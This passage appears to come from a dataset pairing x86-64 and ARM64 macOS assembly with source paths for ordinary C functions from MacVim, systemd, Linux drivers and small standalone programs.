[x19, #20] mov x1, x20 bl _XmTextSetString mov x0, x21 bl _XmStringFree Lloh21: adrp x8, _False@GOTPAGE Lloh22: ldr x8, [x8, _False@GOTPAGEOFF] LBB0_18: ldr w0, [x8] ldr x8, [sp, #24] Lloh23: adrp x9, ___stack_chk_guard@GOTPAGE Lloh24: ldr x9, [x9, ___stack_chk_guard@GOTPAGEOFF] Lloh25: ldr x9, [x9] cmp x9, x8 b.ne LBB0_33 ; %bb.19: ldp x29, x30, [sp, #80] ; 16-byte Folded Reload ldp x20, x19, [sp, #64] ; 16-byte Folded Reload ldp x22, x21, [sp, #48] ; 16-byte Folded Reload ldp x24, x23, [sp, #32] ; 16-byte Folded Reload add sp, sp, #96 ret LBB0_20: ; in Loop: Header=BB0_21 Depth=1 add w20, w20, #1 ldr w8, [x19, #16] cmp w20, w8 b.ge LBB0_28 LBB0_21: ; =>This Inner Loop Header: Depth=1 ldr x1, [x21] mov x0, x19 mov x2, x20 bl _match cbz x0, LBB0_20 ; %bb.22: ; in Loop: Header=BB0_21 Depth=1 ldr x1, [x22] mov x0, x19 mov x2, x20 bl _match cbz x0, LBB0_20 ; %bb.23: ; in Loop: Header=BB0_21 Depth=1 ldr x1, [x23] mov x0, x19 mov x2, x20 bl _match cbz x0, LBB0_20 ; %bb.24: ; in Loop: Header=BB0_21 Depth=1 ldr x1, [x24] mov x0, x19 mov x2, x20 bl _match cbz x0, LBB0_20 ; %bb.25: mov x0, x19 mov x1, x20 bl _fn bl _XtNewString mov x1, x0 str x0, [x19, #8] b LBB0_29 LBB0_26: ldr x8, [x19] str xzr, [x8, x24, lsl #3] cbz x21, LBB0_5 ; %bb.27: ldr w1, [x22] mov x0, x21 bl _XmListDeselectItem b LBB0_5 LBB0_28: ldr x1, [x19, #8] LBB0_29: cbz x1, LBB0_31 ; %bb.30: ldr w0, [x19, #20] bl _XmTextSetString mov x0, x19 bl _display_sample b LBB0_32 LBB0_31: Lloh26: adrp x8, _VIM_ERROR@GOTPAGE Lloh27: ldr x8, [x8, _VIM_ERROR@GOTPAGEOFF] Lloh28: ldr w19, [x8] Lloh29: adrp x0, l_.str@PAGE Lloh30: add x0, x0, l_.str@PAGEOFF bl __ mov x20, x0 Lloh31: adrp x0, l_.str.1@PAGE Lloh32: add x0, x0, l_.str.1@PAGEOFF bl __ mov x21, x0 Lloh33: adrp x0, l_.str.2@PAGE Lloh34: add x0, x0, l_.str.2@PAGEOFF bl __ mov x3, x0 Lloh35: adrp x8, _FALSE@GOTPAGE Lloh36: ldr x8, [x8, _FALSE@GOTPAGEOFF] Lloh37: ldr w6, [x8] mov x0, x19 mov x1, x20 mov x2, x21 mov w4, #1 mov x5, #0 bl _do_dialog LBB0_32: Lloh38: adrp x8, _True@GOTPAGE Lloh39: ldr x8, [x8, _True@GOTPAGEOFF] b LBB0_18 LBB0_33: bl ___stack_chk_fail .loh AdrpLdrGotLdr Lloh3, Lloh4, Lloh5 .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .loh AdrpLdrGot Lloh6, Lloh7 .loh AdrpLdrGot Lloh8, Lloh9 .loh AdrpLdrGot Lloh10, Lloh11 .loh AdrpLdrGot Lloh12, Lloh13 .loh AdrpLdrGot Lloh14, Lloh15 .loh AdrpLdrGot Lloh21, Lloh22 .loh AdrpLdrGotLdr Lloh18, Lloh19, Lloh20 .loh AdrpAdd Lloh16, Lloh17 .loh AdrpLdrGotLdr Lloh23, Lloh24, Lloh25 .loh AdrpLdrGotLdr Lloh35, Lloh36, Lloh37 .loh AdrpAdd Lloh33, Lloh34 .loh AdrpAdd Lloh31, Lloh32 .loh AdrpAdd Lloh29, Lloh30 .loh AdrpLdrGotLdr Lloh26, Lloh27, Lloh28 .loh AdrpLdrGot Lloh38, Lloh39 .cfi_endproc ; -- End function .comm _XmSTRING_DEFAULT_CHARSET,4,2 ; @XmSTRING_DEFAULT_CHARSET .comm _ENCODING,8,3 ; @ENCODING .comm _NAME,8,3 ; @NAME .comm _STYLE,8,3 ; @STYLE .comm _SIZE,8,3 ; @SIZE .comm _wild,8,3 ; @wild .comm _VIM_ERROR,4,2 ; @VIM_ERROR .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "Error" l_.str.1: ; @.str.1 .asciz "Invalid font specification" l_.str.2: ; @.str.2 .asciz "&Dismiss" .comm _FALSE,4,2 ; @FALSE .comm _True,4,2 ; @True l_.str.3: ; @.str.3 .asciz "no specific match" .comm _XmNlabelString,4,2 ; @XmNlabelString .comm _False,4,2 ; @False .no_dead_strip _do_choice .subsections_via_symbols

AnghaBench/macvim/src/extr_gui_xmdlg.c_do_choice.c

anghabench

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function bus_method_set_link_mdns _bus_method_set_link_mdns: ## @bus_method_set_link_mdns .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movq %rdx, %rcx movq %rdi, %rax movq _bus_link_method_set_mdns@GOTPCREL(%rip), %rdx movl (%rdx), %edx movq %rsi, %rdi movq %rax, %rsi popq %rbp jmp _call_link_method ## TAILCALL .cfi_endproc ## -- End function .comm _bus_link_method_set_mdns,4,2 ## @bus_link_method_set_mdns .no_dead_strip _bus_method_set_link_mdns .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function bus_method_set_link_mdns _bus_method_set_link_mdns: ; @bus_method_set_link_mdns .cfi_startproc ; %bb.0: mov x3, x2 mov x8, x0 Lloh0: adrp x9, _bus_link_method_set_mdns@GOTPAGE Lloh1: ldr x9, [x9, _bus_link_method_set_mdns@GOTPAGEOFF] Lloh2: ldr w2, [x9] mov x0, x1 mov x1, x8 b _call_link_method .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .cfi_endproc ; -- End function .comm _bus_link_method_set_mdns,4,2 ; @bus_link_method_set_mdns .no_dead_strip _bus_method_set_link_mdns .subsections_via_symbols

AnghaBench/systemd/src/resolve/extr_resolved-bus.c_bus_method_set_link_mdns.c

anghabench

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %rbx pushq %rax .cfi_offset %rbx, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movb $0, -25(%rbp) leaq L_.str(%rip), %rdi movl $2, %esi xorl %eax, %eax callq _open testl %eax, %eax js LBB0_1 ## %bb.3: movl %eax, %r15d movl $92, %esi movl %eax, %edi xorl %edx, %edx callq _lseek movl $2000000, %ebx ## imm = 0x1E8480 leaq -25(%rbp), %r14 .p2align 4, 0x90 LBB0_4: ## =>This Inner Loop Header: Depth=1 movl $9, %edx movl %r15d, %edi movq %r14, %rsi callq _write decl %ebx jne LBB0_4 ## %bb.5: movl %r15d, %edi callq _close LBB0_2: xorl %eax, %eax addq $8, %rsp popq %rbx popq %r14 popq %r15 popq %rbp retq LBB0_1: callq _main.cold.1 jmp LBB0_2 .cfi_endproc ## -- End function .p2align 4, 0x90 ## -- Begin function main.cold.1 _main.cold.1: ## @main.cold.1 .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp leaq L_.str.1(%rip), %rdi callq _perror pushq $2 popq %rdi callq _exit .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "/dev/fibonacci" L_.str.1: ## @.str.1 .asciz "Failed to open character device" .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x20, x19, [sp, #16] ; 16-byte Folded Spill stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 strb wzr, [sp, #15] Lloh0: adrp x0, l_.str@PAGE Lloh1: add x0, x0, l_.str@PAGEOFF mov w1, #2 bl _open tbnz w0, #31, LBB0_4 ; %bb.1: mov x19, x0 mov w1, #92 mov w2, #0 bl _lseek mov w20, #33920 movk w20, #30, lsl #16 LBB0_2: ; =>This Inner Loop Header: Depth=1 add x1, sp, #15 mov x0, x19 mov w2, #9 bl _write subs w20, w20, #1 b.ne LBB0_2 ; %bb.3: mov x0, x19 bl _close mov w0, #0 ldp x29, x30, [sp, #32] ; 16-byte Folded Reload ldp x20, x19, [sp, #16] ; 16-byte Folded Reload add sp, sp, #48 ret LBB0_4: bl _main.cold.1 .loh AdrpAdd Lloh0, Lloh1 .cfi_endproc ; -- End function .p2align 2 ; -- Begin function main.cold.1 _main.cold.1: ; @main.cold.1 .cfi_startproc ; %bb.0: stp x29, x30, [sp, #-16]! ; 16-byte Folded Spill .cfi_def_cfa_offset 16 mov x29, sp .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 Lloh2: adrp x0, l_.str.1@PAGE Lloh3: add x0, x0, l_.str.1@PAGEOFF bl _perror mov w0, #2 bl _exit .loh AdrpAdd Lloh2, Lloh3 .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "/dev/fibonacci" l_.str.1: ; @.str.1 .asciz "Failed to open character device" .subsections_via_symbols

the_stack_data/63790.c

stack

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _rtw_buf_update ## -- Begin function rtw_buf_update .p2align 4, 0x90 _rtw_buf_update: ## @rtw_buf_update .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx pushq %rax .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 testq %rdi, %rdi je LBB0_6 ## %bb.1: movq %rsi, %r14 testq %rsi, %rsi je LBB0_6 ## %bb.2: movq %rdx, %r12 movq %rdi, %rbx xorl %eax, %eax testq %rdx, %rdx je LBB0_9 ## %bb.3: movq %rcx, %r15 movl $0, %r13d testq %rcx, %rcx je LBB0_10 ## %bb.4: movq %r15, %rdi callq _rtw_malloc testq %rax, %rax je LBB0_8 ## %bb.5: movq %rax, %r13 movq %rax, %rdi movq %r12, %rsi movq %r15, %rdx callq _memcpy movq %r15, %rax jmp LBB0_10 LBB0_6: addq $8, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq LBB0_8: xorl %eax, %eax LBB0_9: xorl %r13d, %r13d LBB0_10: movq (%rbx), %rdi movq %r13, (%rbx) movq %rax, (%r14) addq $8, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp jmp _kfree ## TAILCALL .cfi_endproc ## -- End function .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _rtw_buf_update ; -- Begin function rtw_buf_update .p2align 2 _rtw_buf_update: ; @rtw_buf_update .cfi_startproc ; %bb.0: stp x24, x23, [sp, #-64]! ; 16-byte Folded Spill .cfi_def_cfa_offset 64 stp x22, x21, [sp, #16] ; 16-byte Folded Spill stp x20, x19, [sp, #32] ; 16-byte Folded Spill stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 cbz x0, LBB0_6 ; %bb.1: mov x19, x1 cbz x1, LBB0_6 ; %bb.2: mov x22, x2 mov x20, x0 mov x8, #0 cbz x2, LBB0_7 ; %bb.3: mov x21, x3 mov x23, x8 cbz x3, LBB0_9 ; %bb.4: mov x0, x21 bl _rtw_malloc mov x23, x0 cbz x0, LBB0_8 ; %bb.5: mov x0, x23 mov x1, x22 mov x2, x21 bl _memcpy mov x8, x21 b LBB0_9 LBB0_6: ldp x29, x30, [sp, #48] ; 16-byte Folded Reload ldp x20, x19, [sp, #32] ; 16-byte Folded Reload ldp x22, x21, [sp, #16] ; 16-byte Folded Reload ldp x24, x23, [sp], #64 ; 16-byte Folded Reload ret LBB0_7: mov x23, x8 b LBB0_9 LBB0_8: mov x8, #0 LBB0_9: ldr x0, [x20] str x23, [x20] str x8, [x19] ldp x29, x30, [sp, #48] ; 16-byte Folded Reload ldp x20, x19, [sp, #32] ; 16-byte Folded Reload ldp x22, x21, [sp, #16] ; 16-byte Folded Reload ldp x24, x23, [sp], #64 ; 16-byte Folded Reload b _kfree .cfi_endproc ; -- End function .subsections_via_symbols

AnghaBench/linux/drivers/staging/rtl8188eu/os_dep/extr_osdep_service.c_rtw_buf_update.c

anghabench

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function srmcons_chars_in_buffer _srmcons_chars_in_buffer: ## @srmcons_chars_in_buffer .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp xorl %eax, %eax popq %rbp retq .cfi_endproc ## -- End function .no_dead_strip _srmcons_chars_in_buffer .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function srmcons_chars_in_buffer _srmcons_chars_in_buffer: ; @srmcons_chars_in_buffer .cfi_startproc ; %bb.0: mov w0, #0 ret .cfi_endproc ; -- End function .no_dead_strip _srmcons_chars_in_buffer .subsections_via_symbols

AnghaBench/linux/arch/alpha/kernel/extr_srmcons.c_srmcons_chars_in_buffer.c

anghabench

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _b53_switch_register ## -- Begin function b53_switch_register .p2align 4, 0x90 _b53_switch_register: ## @b53_switch_register .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %rbx pushq %rax .cfi_offset %rbx, -24 movq %rdi, %rbx movq 16(%rdi), %rcx testq %rcx, %rcx je LBB0_1 ## %bb.2: movl 4(%rcx), %eax movl %eax, 12(%rbx) movl (%rcx), %ecx movl %ecx, 24(%rbx) testl %eax, %eax jne LBB0_6 jmp LBB0_4 LBB0_1: movl 12(%rbx), %eax testl %eax, %eax jne LBB0_6 LBB0_4: movq %rbx, %rdi callq _b53_switch_detect testq %rax, %rax je LBB0_6 ## %bb.5: movq _EINVAL@GOTPCREL(%rip), %rcx xorl %eax, %eax subl (%rcx), %eax jmp LBB0_7 LBB0_6: movq %rbx, %rdi callq _b53_switch_init testl %eax, %eax je LBB0_8 LBB0_7: addq $8, %rsp popq %rbx popq %rbp retq LBB0_8: movl 4(%rbx), %edx movl 8(%rbx), %esi leaq L_.str(%rip), %rdi callq _pr_info movl (%rbx), %edi addq $8, %rsp popq %rbx popq %rbp jmp _dsa_register_switch ## TAILCALL .cfi_endproc ## -- End function .comm _EINVAL,4,2 ## @EINVAL .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "found switch: %s, rev %i\n" .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _b53_switch_register ; -- Begin function b53_switch_register .p2align 2 _b53_switch_register: ; @b53_switch_register .cfi_startproc ; %bb.0: stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 mov x19, x0 ldr x9, [x0, #16] cbz x9, LBB0_2 ; %bb.1: ldp w9, w8, [x9] str w8, [x19, #12] str w9, [x19, #24] cbnz w8, LBB0_5 b LBB0_3 LBB0_2: ldr w8, [x19, #12] cbnz w8, LBB0_5 LBB0_3: mov x0, x19 bl _b53_switch_detect cbz x0, LBB0_5 ; %bb.4: Lloh0: adrp x8, _EINVAL@GOTPAGE Lloh1: ldr x8, [x8, _EINVAL@GOTPAGEOFF] Lloh2: ldr w8, [x8] neg w0, w8 b LBB0_6 LBB0_5: mov x0, x19 bl _b53_switch_init cbz w0, LBB0_7 LBB0_6: ldp x29, x30, [sp, #16] ; 16-byte Folded Reload ldp x20, x19, [sp], #32 ; 16-byte Folded Reload ret LBB0_7: ldp w2, w1, [x19, #4] Lloh3: adrp x0, l_.str@PAGE Lloh4: add x0, x0, l_.str@PAGEOFF bl _pr_info ldr w0, [x19] ldp x29, x30, [sp, #16] ; 16-byte Folded Reload ldp x20, x19, [sp], #32 ; 16-byte Folded Reload b _dsa_register_switch .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .loh AdrpAdd Lloh3, Lloh4 .cfi_endproc ; -- End function .comm _EINVAL,4,2 ; @EINVAL .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "found switch: %s, rev %i\n" .subsections_via_symbols

AnghaBench/linux/drivers/net/dsa/b53/extr_b53_common.c_b53_switch_register.c

anghabench

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %rbx pushq %rax .cfi_offset %rbx, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 xorl %r14d, %r14d movq ___stdinp@GOTPCREL(%rip), %r15 xorl %ebx, %ebx jmp LBB0_1 .p2align 4, 0x90 LBB0_5: ## in Loop: Header=BB0_1 Depth=1 decl %r14d LBB0_6: ## in Loop: Header=BB0_1 Depth=1 incl %ebx cmpl $-1, %r14d je LBB0_7 LBB0_1: ## =>This Inner Loop Header: Depth=1 movq (%r15), %rdi callq _fgetc cmpl $-1, %eax je LBB0_7 ## %bb.2: ## in Loop: Header=BB0_1 Depth=1 cmpl $41, %eax je LBB0_5 ## %bb.3: ## in Loop: Header=BB0_1 Depth=1 cmpl $40, %eax jne LBB0_6 ## %bb.4: ## in Loop: Header=BB0_1 Depth=1 incl %r14d jmp LBB0_6 LBB0_7: leaq L_.str(%rip), %rdi movl %ebx, %esi xorl %eax, %eax callq _printf xorl %eax, %eax addq $8, %rsp popq %rbx popq %r14 popq %r15 popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "%d\n" .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: sub sp, sp, #64 .cfi_def_cfa_offset 64 stp x22, x21, [sp, #16] ; 16-byte Folded Spill stp x20, x19, [sp, #32] ; 16-byte Folded Spill stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 mov w20, #0 mov w19, #0 Lloh0: adrp x21, ___stdinp@GOTPAGE Lloh1: ldr x21, [x21, ___stdinp@GOTPAGEOFF] b LBB0_3 LBB0_1: ; in Loop: Header=BB0_3 Depth=1 sub w20, w20, #1 LBB0_2: ; in Loop: Header=BB0_3 Depth=1 add w19, w19, #1 cmn w20, #1 b.eq LBB0_7 LBB0_3: ; =>This Inner Loop Header: Depth=1 ldr x0, [x21] bl _fgetc cmn w0, #1 b.eq LBB0_7 ; %bb.4: ; in Loop: Header=BB0_3 Depth=1 cmp w0, #41 b.eq LBB0_1 ; %bb.5: ; in Loop: Header=BB0_3 Depth=1 cmp w0, #40 b.ne LBB0_2 ; %bb.6: ; in Loop: Header=BB0_3 Depth=1 add w20, w20, #1 b LBB0_2 LBB0_7: str x19, [sp] Lloh2: adrp x0, l_.str@PAGE Lloh3: add x0, x0, l_.str@PAGEOFF bl _printf mov w0, #0 ldp x29, x30, [sp, #48] ; 16-byte Folded Reload ldp x20, x19, [sp, #32] ; 16-byte Folded Reload ldp x22, x21, [sp, #16] ; 16-byte Folded Reload add sp, sp, #64 ret .loh AdrpLdrGot Lloh0, Lloh1 .loh AdrpAdd Lloh2, Lloh3 .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "%d\n" .subsections_via_symbols

the_stack_data/108227.c

stack

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function list_capabilities _list_capabilities: ## @list_capabilities .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r12 pushq %rbx .cfi_offset %rbx, -48 .cfi_offset %r12, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movl %edi, %r14d movq _verbose@GOTPCREL(%rip), %r15 cmpq $0, (%r15) movq _MAXCHAN@GOTPCREL(%rip), %r12 movl $1, %edi je LBB0_2 ## %bb.1: movl (%r12), %edi LBB0_2: callq _IEEE80211_DEVCAPS_SIZE movl %eax, %edi callq _malloc movq %rax, %rbx testq %rax, %rax jne LBB0_4 ## %bb.3: leaq L_.str(%rip), %rsi movl $1, %edi callq _errx LBB0_4: cmpq $0, (%r15) movl $1, %eax je LBB0_6 ## %bb.5: movl (%r12), %eax LBB0_6: movl %eax, 32(%rbx) movl %r14d, %edi movq %rbx, %rsi callq _getdevcaps movq (%rbx), %rsi movq _IEEE80211_C_BITS@GOTPCREL(%rip), %rax movl (%rax), %edx leaq L_.str.1(%rip), %rdi callq _printb movq 8(%rbx), %rax orq (%r15), %rax je LBB0_7 ## %bb.8: movl $10, %edi callq _putchar movq 8(%rbx), %rsi movq _IEEE80211_CRYPTO_BITS@GOTPCREL(%rip), %rax movl (%rax), %edx leaq L_.str.2(%rip), %rdi callq _printb cmpq $0, (%r15) setne %al cmpq $0, 16(%rbx) je LBB0_10 jmp LBB0_12 LBB0_7: xorl %eax, %eax cmpq $0, 16(%rbx) jne LBB0_12 LBB0_10: testb %al, %al jne LBB0_12 ## %bb.11: xorl %eax, %eax cmpq $0, 24(%rbx) je LBB0_14 jmp LBB0_15 LBB0_12: movl $10, %edi callq _putchar movq 16(%rbx), %rsi movq _IEEE80211_HTCAP_BITS@GOTPCREL(%rip), %rax movl (%rax), %edx leaq L_.str.3(%rip), %rdi callq _printb cmpq $0, (%r15) setne %al cmpq $0, 24(%rbx) jne LBB0_15 LBB0_14: testb %al, %al je LBB0_16 LBB0_15: movl $10, %edi callq _putchar movq 24(%rbx), %rsi movq _IEEE80211_VHTCAP_BITS@GOTPCREL(%rip), %rax movl (%rax), %edx leaq L_.str.4(%rip), %rdi callq _printb LBB0_16: movl $10, %edi callq _putchar movq (%r15), %rcx testq %rcx, %rcx je LBB0_18 ## %bb.17: movq %rbx, %rsi addq $32, %rsi movq _chaninfo@GOTPCREL(%rip), %rax movq %rsi, (%rax) movl %r14d, %edi movl $1, %edx callq _print_channels LBB0_18: movq %rbx, %rdi popq %rbx popq %r12 popq %r14 popq %r15 popq %rbp jmp _free ## TAILCALL .cfi_endproc ## -- End function .comm _verbose,8,3 ## @verbose .comm _MAXCHAN,4,2 ## @MAXCHAN .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "no space for device capabilities" L_.str.1: ## @.str.1 .asciz "drivercaps" .comm _IEEE80211_C_BITS,4,2 ## @IEEE80211_C_BITS L_.str.2: ## @.str.2 .asciz "cryptocaps" .comm _IEEE80211_CRYPTO_BITS,4,2 ## @IEEE80211_CRYPTO_BITS L_.str.3: ## @.str.3 .asciz "htcaps" .comm _IEEE80211_HTCAP_BITS,4,2 ## @IEEE80211_HTCAP_BITS L_.str.4: ## @.str.4 .asciz "vhtcaps" .comm _IEEE80211_VHTCAP_BITS,4,2 ## @IEEE80211_VHTCAP_BITS .comm _chaninfo,8,3 ## @chaninfo .no_dead_strip _list_capabilities .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function list_capabilities _list_capabilities: ; @list_capabilities .cfi_startproc ; %bb.0: stp x22, x21, [sp, #-48]! ; 16-byte Folded Spill .cfi_def_cfa_offset 48 stp x20, x19, [sp, #16] ; 16-byte Folded Spill stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 mov x19, x0 Lloh0: adrp x22, _verbose@GOTPAGE Lloh1: ldr x22, [x22, _verbose@GOTPAGEOFF] ldr x8, [x22] Lloh2: adrp x21, _MAXCHAN@GOTPAGE Lloh3: ldr x21, [x21, _MAXCHAN@GOTPAGEOFF] ldr w9, [x21] cmp x8, #0 csinc w0, w9, wzr, ne bl _IEEE80211_DEVCAPS_SIZE bl _malloc mov x20, x0 cbnz x0, LBB0_2 ; %bb.1: Lloh4: adrp x1, l_.str@PAGE Lloh5: add x1, x1, l_.str@PAGEOFF mov w0, #1 bl _errx LBB0_2: ldr x8, [x22] ldr w9, [x21] cmp x8, #0 csinc w8, w9, wzr, ne mov x21, x20 str w8, [x21, #32]! mov x0, x19 mov x1, x20 bl _getdevcaps ldr x1, [x20] Lloh6: adrp x8, _IEEE80211_C_BITS@GOTPAGE Lloh7: ldr x8, [x8, _IEEE80211_C_BITS@GOTPAGEOFF] Lloh8: ldr w2, [x8] Lloh9: adrp x0, l_.str.1@PAGE Lloh10: add x0, x0, l_.str.1@PAGEOFF bl _printb ldr x8, [x20, #8] ldr x9, [x22] orr x8, x8, x9 cbz x8, LBB0_4 ; %bb.3: mov w0, #10 bl _putchar ldr x1, [x20, #8] Lloh11: adrp x8, _IEEE80211_CRYPTO_BITS@GOTPAGE Lloh12: ldr x8, [x8, _IEEE80211_CRYPTO_BITS@GOTPAGEOFF] Lloh13: ldr w2, [x8] Lloh14: adrp x0, l_.str.2@PAGE Lloh15: add x0, x0, l_.str.2@PAGEOFF bl _printb ldr x8, [x22] cmp x8, #0 cset w8, ne LBB0_4: ldr x9, [x20, #16] cmp x9, #0 ccmp w8, #0, #0, eq b.eq LBB0_6 ; %bb.5: mov w0, #10 bl _putchar ldr x1, [x20, #16] Lloh16: adrp x8, _IEEE80211_HTCAP_BITS@GOTPAGE Lloh17: ldr x8, [x8, _IEEE80211_HTCAP_BITS@GOTPAGEOFF] Lloh18: ldr w2, [x8] Lloh19: adrp x0, l_.str.3@PAGE Lloh20: add x0, x0, l_.str.3@PAGEOFF bl _printb ldr x8, [x22] cmp x8, #0 cset w8, ne b LBB0_7 LBB0_6: mov w8, #0 LBB0_7: ldr x9, [x20, #24] cmp x9, #0 ccmp w8, #0, #0, eq b.eq LBB0_9 ; %bb.8: mov w0, #10 bl _putchar ldr x1, [x20, #24] Lloh21: adrp x8, _IEEE80211_VHTCAP_BITS@GOTPAGE Lloh22: ldr x8, [x8, _IEEE80211_VHTCAP_BITS@GOTPAGEOFF] Lloh23: ldr w2, [x8] Lloh24: adrp x0, l_.str.4@PAGE Lloh25: add x0, x0, l_.str.4@PAGEOFF bl _printb LBB0_9: mov w0, #10 bl _putchar ldr x3, [x22] cbz x3, LBB0_11 ; %bb.10: Lloh26: adrp x8, _chaninfo@GOTPAGE Lloh27: ldr x8, [x8, _chaninfo@GOTPAGEOFF] Lloh28: str x21, [x8] mov x0, x19 mov x1, x21 mov w2, #1 bl _print_channels LBB0_11: mov x0, x20 ldp x29, x30, [sp, #32] ; 16-byte Folded Reload ldp x20, x19, [sp, #16] ; 16-byte Folded Reload ldp x22, x21, [sp], #48 ; 16-byte Folded Reload b _free .loh AdrpLdrGot Lloh2, Lloh3 .loh AdrpLdrGot Lloh0, Lloh1 .loh AdrpAdd Lloh4, Lloh5 .loh AdrpAdd Lloh9, Lloh10 .loh AdrpLdrGotLdr Lloh6, Lloh7, Lloh8 .loh AdrpAdd Lloh14, Lloh15 .loh AdrpLdrGotLdr Lloh11, Lloh12, Lloh13 .loh AdrpAdd Lloh19, Lloh20 .loh AdrpLdrGotLdr Lloh16, Lloh17, Lloh18 .loh AdrpAdd Lloh24, Lloh25 .loh AdrpLdrGotLdr Lloh21, Lloh22, Lloh23 .loh AdrpLdrGotStr Lloh26, Lloh27, Lloh28 .cfi_endproc ; -- End function .comm _verbose,8,3 ; @verbose .comm _MAXCHAN,4,2 ; @MAXCHAN .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "no space for device capabilities" l_.str.1: ; @.str.1 .asciz "drivercaps" .comm _IEEE80211_C_BITS,4,2 ; @IEEE80211_C_BITS 